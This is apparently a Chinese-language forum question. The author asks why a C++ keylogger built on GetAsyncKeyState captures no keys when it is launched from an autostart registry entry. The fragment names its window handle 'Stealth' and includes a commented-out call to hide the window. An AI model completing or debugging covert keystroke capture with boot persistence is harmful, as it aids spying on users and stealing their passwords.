今天我正在构建简单的键盘记录应用程序(不不不 - 不是你的想法......)。我正在使用 GetAsyncKeyState (我知道我应该使用 SetWindowsHookEx,但是没有很多好的教程 - 而且我在 WinApi 中很烂),并且在自动启动时启动我的程序有问题。我将它添加到正确的注册表中,一切正常(程序在启动时启动),但 GetAsyncKeyState 无法读取任何密钥(如果我手动启动它就可以工作)。缩短代码:
HWND Stealth;
if(!AllocConsole()){
Sleep(1000*5);
}
while((Stealth = FindWindowA("ConsoleWindowClass", NULL))==NULL){
Sleep(1000*5);
}
//ShowWindow(Stealth,0);
char i;
while (keylogger->working){
for(i = 8; i <= 190; i++){
if (GetAsyncKeyState(i) == -32767){
cout << i << endl; // No output here
}}}
为什么会存在这种行为,如何避免?它是否与在 windows 启动的早期阶段分配控制台有关?